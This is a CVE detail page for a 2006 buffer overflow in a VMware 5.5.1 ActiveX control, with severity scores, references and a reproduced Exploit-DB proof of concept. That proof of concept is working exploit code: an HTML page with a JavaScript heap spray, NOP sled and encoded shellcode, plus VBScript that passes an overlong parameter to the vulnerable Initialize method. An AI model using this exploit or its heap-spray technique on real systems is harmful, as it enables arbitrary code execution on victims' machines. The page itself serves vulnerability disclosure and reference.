CVE-2006-6410 : Detail

CVE-2006-6410

0.04%V3
Local
2006-12-10
01h00 +00:00
2018-10-17
18h57 +00:00
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CVE Descriptions

Buffer overflow in an ActiveX control in VMWare 5.5.1 allows local users to execute arbitrary code via a long VmdbDb parameter to the Initialize function.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2264

Publication date : 2006-08-26 22h00 +00:00
Author : c0ntex
EDB Verified : Yes

/* ***************************************************************************************************************** $ An open security advisory #17 - VMWare ActiveX lame local overflow ***************************************************************************************************************** 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org 2: Bug Released: August 18th or so... 2006 3: Bug Impact Rate: Code execution 4: Bug Scope Rate: Local ***************************************************************************************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ***************************************************************************************************************** VMWare http://vmware.com "Revolutionize software development, testing and deployment in your enterprise with powerful virtual machine software for developers and system administrators. VMware Workstation delivers powerful virtual machine software for the technical professional." Since this is a local only for ActiveX component, it requires being emailed or distribution via some p2p file share network or p2p chat networks. Pretty useless :) */ <html> <head> <title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title> </head> <body> <center> <br> Discovered and developed by c0ntex - [email protected]<br> Visit my website at http://www.open-security.org<br> <br> <h3> This will exploit overflow and execute calc.exe on WinXP Pro SP2<br> (fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br> </h3> I have only found a bad solution to this bug. Due to the fact that<br> my controlling assembler is a call dword ptr[reg] I need to point<br> to a location I control, fine. However my payload is random pretty<br> much every run. Therefor I fill half a HUGE buffer with the address<br> (pointer) to my evil buffer, which them trampolines me to shellcode<br> <br> call ptr [reg]<br> [reg] -> 0xtrampoline<br> 0xtrampoline -> shellcode<br> <br> </center> <script> var buffa1 = unescape("%uedb0%u0d91") do { buffa1 += buffa1; } while (buffa1.length < 0x500000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x800000); buffa1 += buffa2; buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); </script> <object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744"> </object> <script language="vbscript"> VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VmdbPoll=200011744 target.Initialize VmdbDb, VmdbPoll </script> </body> # milw0rm.com [2006-08-27]

Products Mentioned

Configuraton 0

Vmware>>Workstation >> Version 5.5.1

References

https://www.exploit-db.com/exploits/2264
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/19732
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/securityalert/2008
Tags : third-party-advisory, x_refsource_SREASON